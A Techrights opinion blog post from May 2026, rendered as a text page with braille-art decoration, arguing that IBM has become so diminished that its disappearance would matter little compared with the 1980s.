⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣻⣀⣠⣈⣇⣐⣁⣑⡉⣾⢊⣀⣀⣀⣐⣂⣯⣂⣪⡇⣔⣅⣸⣀⣀⣤⣀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣛⣛⣛⣛⣛⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀ ⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⢉⣉⣉ ⡫⣶⢝⣿⣿⣿⡻⢿⠟⠻⠿⡿⠻⠿⢿⡟⠿⠟⠻⠿⢿⠿⠿⠿⠿⡟⠿⠿⡿⠿⠿⢻⡛⡿⡛⠿⡿⠿⠿⠿⠿⡿⠿⠿⢿⣿⠿⢿⠛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⣛⣛ ⣿⡭⢿⣿⣿⣿⣷⣾⣾⣶⣾⣧⣴⣶⣶⣷⣶⣶⣶⣾⣾⣷⣶⣶⣶⣷⣶⣾⣷⣾⣶⣾⣷⣷⣷⣶⣷⣶⣶⣾⣼⣷⣷⣶⣾⣿⣾⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿ ⣧⣅⣸⣿⣿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛ ⠿⣭⠿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣷⣭⣾⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣭⣭⣭⣭⣭⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤ ⣿⠿⣿⣿⣿⣿⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⡆⣠⣤⣤ ⣥⠿⣬⣿⣿⣿⠉⠁⢉⠁⠈⠉⠉⠀⠉⠉⠁⠈⠉⠉⠉⠉⠉⠉⠀⠈⠉⠉⠉⠉⠉⠃⠉⠉⠉⠉⠉⠉⠀⠉⠉⠉⠉⠉⠉⡉⠉⠉⠉⠉⠉⠏⢹⠈⠉⠉⠁⠀⠈⠋⠈⠉⠉⠀⠉⠉⠉⠉⠉⠉⠉⠀⠉⠉⡇⣆⣀⣀ ⣿⣿⣿⣿⣿⣿⠿⠿⠾⠿⠿⠿⢹⠿⠿⠿⠿⠿⢿⡿⠾⠿⠿⠿⡿⠿⠷⠶⠿⠿⠿⠿⠿⡿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠷⠶⠿⠿⠇⢸⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⡿⠿⠿⠿⠿⠿⠿⠿⠿⣿⣿⣿⣿⣿⣶⣶⣶ ⣿⠿⣿⣿⣿⣿⣇⣀⣀⣀⣄⣀⣸⣄⣀⣀⣀⣀⣠⣄⣠⣀⣀⣄⣄⣀⣐⣀⣀⣀⣀⣀⣆⣇⣀⣤⣀⣀⣀⣄⣀⣀⣤⣀⣀⣀⣀⣀⣀⣇⣀⣀⣀⣀⣀⣤⣤⣀⣀⣠⣄⣄⣀⣀⣠⣀⣀⣀⣀⣀⣿⣿⣿⣿⣿⣿⣿⣿ ⡩⣿⢍⣿⣿⣿⡿⢿⣿⣿⡿⠿⢿⠿⣿⣿⣿⣿⣿⡿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⣿⣿⡿⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⢿⣿⠿⠿⢿⣿⡿⢿⣿⣿⠿⣿⣿⣿⢿⡿⣿⣿⣿⣿⣿⡿⣿⣿⡿⢿⣿⣿⣿⣿⣿ ⣿⣶⣿⣿⣿⣿⣐⣀⣀⣸⣐⣀⣸⣀⣀⣸⣀⣀⣀⣀⣀⣀⣀⣀⣀⣂⡀⠀⣀⣉⣆⣀⣇⣸⣇⣀⣀⣄⣀⣇⠀⣀⣄⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⠀⢀⣀⣀⡀⠄⣀⣀⣀⣄⣀⣠⣀⣀⣀⣸⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⡘⠛⠛⠛⠛⠛⠻⠋⠙⠛⠘⠛⠁⠙⠛⠛⠛⢻⠚⠛⠃⠀⠉⠛⠛⠛⠛⠃⠛⠙⠉⠛⠟⡗⠛⠛⠛⠃⠛⠛⠛⠛⠛⠛⠛⠛⠃⠛⠛⠛⠛⠛⠃⠒⠛⠛⠛⠛⠛⠛⠛⡟⠛⠛⠛⠛⠛⠛⠻⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⠷⠶⠶⠶⠶⠶⠾⠶⠶⠶⠶⠶⡶⠶⠦⠤⠶⠾⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠷⠷⠶⠶⠶⠶⠶⠶⠶⣴⣶⣶⣶⣶⣶⣴⣶⣶⣶⣶⣶⣶⣶⣶⣶⣷⣶⣶⣶⣧⣴⣶⣦⣶⣶⣶⣦⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣀⣀⠀⠀⣄⡀⠀⠀⢀⠀⠀⡀⡅⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⢀⣀⡄⠀⣆⣤⠀⣀⠀⠀⠀⢠⣀⡀⡀⠀⡀⠀⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠛⠛⠛⠛⠛⠛⠛⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⠭⠭⠭ ⠋⣤⠙⣿⣿⣿⠿⠿⡿⢿⠿⠿⠿⢿⠿⠿⠿⡿⠿⣿⢿⡛⠿⠿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠛⠛ ⣿⣭⣿⣿⣿⣿⣦⣴⣥⣴⣧⣤⣥⣼⣲⣤⣤⣧⣬⣯⣦⣥⣤⣤⣔⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣛⣛⣛ ⣇⣅⣸⣿⣿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛ ⠿⣭⠿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣦⣉⣴⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣯⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤ ⣿⠿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿ ⣕⣿⣪⣿⣿⣿⢹⠙⠛⡙⠛⠛⠛⠛⠛⠛⠛⡛⢻⡉⣙⠛⠋⡙⢟⠋⠛⣻⢛⠛⠋⠉⠙⢻⡛⠋⠛⡛⡏⢉⠝⢫⡟⢛⢛⢛⠋⠋⠉⢛⢙⠛⡏⢉⢩⡽⣭⠟⠙⢛⠛⣙⠛⠛⢛⠟⡛⠛⠛⠛⠙⢻⣿⣿⣿⣯⣭⣭ ⡿⠖⢻⣿⣿⣿⣿⣿⢿⣿⠿⣿⣿⣿⢿⢿⣿⣷⣿⣿⡿⡿⣿⡿⡿⢿⣿⣿⣿⣿⣿⣿⣷⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣾⣿⣿⣿⣿⣿⣬⣭⣭ ⣷⣦⣼⣿⣿⣿⣀⣤⣬⣧⣤⣤⣤⣤⣼⣤⣢⣧⣤⣴⣦⣥⣤⣀⣧⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡛⣶⢛⣿⣿⣿⢏⠉⠉⢽⠙⠏⠉⠝⠉⠈⢹⠉⠉⢩⠉⠍⠹⡿⡇⠉⠉⡉⢹⠉⡍⠉⠙⠉⠉⠉⠉⢸⡉⡁⠉⢽⠋⠩⡩⡏⠉⡍⠉⠉⠩⠩⠉⠁⡏⠉⡇⠉⠉⢹⠍⣛⡋⣏⠉⠉⠉⠍⡏⠍⠍⠍⠍⠫⡉⠉⠁⣿ ⣿⣶⣿⣿⣿⣿⠻⠿⠿⠿⠿⠿⠿⡷⠶⢻⠟⠾⠟⠿⡿⠿⠿⠟⠿⡻⠿⠟⠟⠿⠿⠿⠿⠿⠿⢿⠿⠿⠿⠿⡟⠿⠶⣿⠿⠷⠟⡿⠿⠿⠛⢻⡟⠛⠻⢻⠿⢿⠟⠿⠿⠛⠿⠷⠿⠿⡟⠿⠷⢿⠻⠿⠿⠿⠿⠿⠿⣿ ⣿⣿⣿⣿⣿⣿⣶⣾⣾⣶⣾⣶⣾⣷⣶⣿⣶⣶⣷⣿⣷⣶⣶⣾⣾⣿⣶⣷⣷⣶⣷⣷⣶⣶⣶⣿⣶⣷⣾⣼⣿⣶⣶⣿⣶⣿⣶⣷⣾⣾⣶⣿⣷⣶⣶⣾⣷⣾⣶⣾⣾⣶⣾⣶⣶⣤⣧⣶⣶⣾⣶⣾⣾⣶⣶⣶⣾⣿ ⣿⣿⣿⣿⣿⣿⣩⣡⣏⣈⣈⣹⣀⣉⣁⡻⢏⣉⣁⣻⣉⣍⣽⣨⣉⣉⣩⣏⣉⣉⣉⢉⣧⣡⣤⣉⣏⣉⣉⣼⣉⣈⣍⣍⣅⣫⣉⣉⣇⣉⣍⣍⣹⣉⣉⣽⣅⣉⣩⣁⡈⣽⣉⣍⣁⣇⣨⣈⣉⣉⣈⣹⣉⣉⣁⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⢙⢟⠛⢛⡛⠛⠻⣿⡟⠙⠛⠛⡟⠛⠋⠛⠙⠛⠛⡿⡛⠛⡛⠋⡋⠟⣿⠛⡻⡋⡟⠛⠙⠛⡛⠛⢛⢹⠛⠛⠛⢛⠿⠻⣿⡛⡛⣟⢛⠟⠛⡛⠛⢿⠛⠛⡋⣟⡛⠛⠛⠛⡟⡛⢻⠛⠛⡟⠛⠛⣹⣿ ⣿⣿⣿⣿⣿⣿⣶⣶⣷⣾⣷⣾⢶⣶⣷⣶⣶⣵⣷⣶⣶⣶⣶⣶⣶⣿⣶⢦⣶⣶⣶⠶⣿⣶⡶⡶⢷⣶⣶⣶⣶⢶⣶⣾⣴⣶⣶⣴⣶⣶⣿⣶⣷⣷⣶⣶⣶⣶⣶⣿⣶⣶⣶⣷⣶⣶⣶⣷⣷⣶⣾⣶⣶⣷⣶⣶⣾⣿ ⣿⣿⣿⣿⣿⣿⣤⣤⣤⣴⣴⣤⣶⣤⣤⣼⣴⣤⣤⣦⣴⣤⣤⣬⣥⣤⣴⣼⣠⣴⣤⣤⣦⣼⣦⣤⣼⣥⣤⣤⣴⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ䷩ 𝚕𝚒𝚗𝚎 1373 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/If_IBM_Suddenly_Vanished_in_the_1980s_There_Would_be_Chaos_Not_.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/If_IBM_Suddenly_Vanished_in_the_1980s_There_Would_be_Chaos_Not_.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ If IBM Suddenly Vanished in the 1980s, There Would be Chaos. Not Anymore.⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 Earlier today: Under_IBM,_Mass_Layoffs_at_Red_Hat_No_Better_Than_Oracle_Under Larry_Ellison_(Treating_Workers_Like_Disposables_-_Even_Enemies_-_Overnight) 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇My last day in IBM today.⦈ IBM may very well hit a 52-week low later today: 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇IBM Common Stock⦈ IBM has its name on so many things in computer history books (and even times predating modern computers). For several decades many of the more/most important advancements in computing were attributed - or at least attributable - to IBM. Now? Nothing. If IBM was to vanish overnight, would much change? Red Hat users can move to another distro or RHEL clone (to the extent possible after IBM curtailed cloning). A lot of the branded things of Red Hat have commoditised (non-IBM) alternatives. Mainframes? One can migrate away from them. After IBM sold some of its crown jewels to Lenovo and abandoned (or offloaded) some of its other businesses, what would really change? POWER? No need. It's a relic. IBM divests too much. How many companies still use IBM for server hosting? Not many. Sure, some receive support from IBM staff, but they can move their systems to something else. IBM's management has rendered IBM more irrelevant than ever before; with financial engineering that culls the more experienced workers there's no "human capital" left at IBM (except for those who feel stuck there and are longing to leave IBM). █ * Beehiiv_and_Substack_Are_Platform_Lock-in_(Similar_to_Vendor_Lock-in), Don't_Use_Beehiiv_and_Substack_(and_the_Likes_of_These) * Google_"Hey_Hi"_(Slop)_Having_a_Stroke,_Thinks_I_am_Married_to_the Grandmother_of_My_Grandfather ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠟⢋⠉⠛⢿⣿⣿⠛⡿⢿⡟⠻⡿⡟⡛⣿⠿⣿⢿⣿⢿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⠁⠀⢨⠁⠀⠀⢹⣿⣾⣿⣾⣷⣦⣷⣷⣷⣿⣶⣷⣾⣿⣴⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⡿⢿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣦⣤⣤⣤⣾⣿⣿⣿⣿⣿⣯⣾⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ 